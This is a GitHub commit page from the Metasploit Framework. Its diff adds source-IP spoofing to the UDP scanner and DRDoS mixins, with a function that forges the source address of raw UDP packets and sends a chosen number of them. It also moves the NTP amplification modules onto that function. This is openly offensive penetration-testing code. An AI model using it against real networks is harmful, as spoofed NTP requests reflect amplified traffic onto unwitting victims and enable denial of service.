Skip to content

Commit 4e9f128

Browse files
committed
Land rapid7#3834, @jabra-'s updates to UDPscanner to support spoofing
2 parents ebacb26 + e86b18c commit 4e9f128

File tree

9 files changed

+51
-32
lines changed

9 files changed

+51
-32
lines changed

lib/msf/core/auxiliary/drdos.rb

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -8,6 +8,22 @@ module Msf
88
###
99
module Auxiliary::DRDoS
1010

11+
def initialize(info = {})
12+
super
13+
register_advanced_options(
14+
[
15+
OptAddress.new('SRCIP', [false, 'Use this source IP']),
16+
OptInt.new('NUM_REQUESTS', [false, 'Number of requests to send', 1]),
17+
], self.class)
18+
end
19+
20+
def setup
21+
super
22+
if spoofed? && datastore['NUM_REQUESTS'] < 1
23+
raise Msf::OptionValidateError.new(['NUM_REQUESTS']), 'The number of requests must be >= 1'
24+
end
25+
end
26+
1127
def prove_amplification(response_map)
1228
vulnerable = false
1329
proofs = []
@@ -43,5 +59,9 @@ def prove_amplification(response_map)
4359
[ vulnerable, proofs.join(', ') ]
4460
end
4561

62+
def spoofed?
63+
!datastore['SRCIP'].nil?
64+
end
65+
4666
end
4767
end

lib/msf/core/auxiliary/ntp.rb

Lines changed: 12 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
# -*- coding: binary -*-
22
require 'rex/proto/ntp'
3-
3+
require 'msf/core/exploit'
44
module Msf
55

66
###
@@ -10,6 +10,7 @@ module Msf
1010
###
1111
module Auxiliary::NTP
1212

13+
include Exploit::Capture
1314
include Auxiliary::Scanner
1415

1516
#
@@ -29,5 +30,15 @@ def initialize(info = {})
2930
OptInt.new('IMPLEMENTATION', [true, 'Use this NTP mode 7 implementation', 3])
3031
], self.class)
3132
end
33+
34+
# Called for each IP in the batch
35+
def scan_host(ip)
36+
if spoofed?
37+
datastore['ScannerRecvWindow'] = 0
38+
scanner_spoof_send(@probe, ip, datastore['RPORT'], datastore['SRCIP'], datastore['NUM_REQUESTS'])
39+
else
40+
scanner_send(@probe, ip, datastore['RPORT'])
41+
end
42+
end
3243
end
3344
end

lib/msf/core/auxiliary/udp_scanner.rb

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -69,6 +69,24 @@ def run_batch(batch)
6969
scanner_postscan(batch)
7070
end
7171

72+
# Send a spoofed packet to a given host and port
73+
def scanner_spoof_send(data, ip, port, srcip, num_packets=1)
74+
open_pcap
75+
p = PacketFu::UDPPacket.new
76+
p.ip_saddr = srcip
77+
p.ip_daddr = ip
78+
p.ip_ttl = 255
79+
p.udp_src = (rand((2**16)-1024)+1024).to_i
80+
p.udp_dst = port
81+
p.payload = data
82+
p.recalc
83+
print_status("Sending #{num_packets} packet(s) to #{ip} from #{srcip}")
84+
1.upto(num_packets) do |x|
85+
capture_sendto(p, ip)
86+
end
87+
close_pcap
88+
end
89+
7290
# Send a packet to a given host and port
7391
def scanner_send(data, ip, port)
7492

modules/auxiliary/scanner/ntp/ntp_monlist.rb

Lines changed: 1 addition & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -46,12 +46,7 @@ def initialize
4646
], self.class)
4747
end
4848

49-
# Called for each IP in the batch
50-
def scan_host(ip)
51-
scanner_send(@probe, ip, datastore['RPORT'])
52-
end
53-
54-
# Called for each response packet
49+
# Called for each response packet
5550
def scanner_process(data, shost, sport)
5651
@results[shost] ||= { messages: [], peers: [] }
5752
@results[shost][:messages] << Rex::Proto::NTP::NTPPrivate.new(data)

modules/auxiliary/scanner/ntp/ntp_peer_list_dos.rb

Lines changed: 0 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -34,11 +34,6 @@ def initialize
3434
)
3535
end
3636

37-
# Called for each IP in the batch
38-
def scan_host(ip)
39-
scanner_send(@probe, ip, datastore['RPORT'])
40-
end
41-
4237
# Called before the scan block
4338
def scanner_prescan(batch)
4439
@results = {}

modules/auxiliary/scanner/ntp/ntp_peer_list_sum_dos.rb

Lines changed: 0 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -34,11 +34,6 @@ def initialize
3434
)
3535
end
3636

37-
# Called for each IP in the batch
38-
def scan_host(ip)
39-
scanner_send(@probe, ip, datastore['RPORT'])
40-
end
41-
4237
# Called for each response packet
4338
def scanner_process(data, shost, sport)
4439
@results[shost] ||= []

modules/auxiliary/scanner/ntp/ntp_req_nonce_dos.rb

Lines changed: 0 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -35,11 +35,6 @@ def initialize
3535
)
3636
end
3737

38-
# Called for each IP in the batch
39-
def scan_host(ip)
40-
scanner_send(@probe, ip, datastore['RPORT'])
41-
end
42-
4338
# Called for each response packet
4439
def scanner_process(data, shost, sport)
4540
@results[shost] ||= []

modules/auxiliary/scanner/ntp/ntp_reslist_dos.rb

Lines changed: 0 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -36,11 +36,6 @@ def initialize
3636
)
3737
end
3838

39-
# Called for each IP in the batch
40-
def scan_host(ip)
41-
scanner_send(@probe, ip, datastore['RPORT'])
42-
end
43-
4439
# Called for each response packet
4540
def scanner_process(data, shost, sport)
4641
@results[shost] ||= []

modules/auxiliary/scanner/ntp/ntp_unsettrap_dos.rb

Lines changed: 0 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -34,11 +34,6 @@ def initialize
3434
)
3535
end
3636

37-
# Called for each IP in the batch
38-
def scan_host(ip)
39-
scanner_send(@probe, ip, datastore['RPORT'])
40-
end
41-
4237
# Called for each response packet
4338
def scanner_process(data, shost, sport)
4439
@results[shost] ||= []

0 commit comments

Comments
 (0)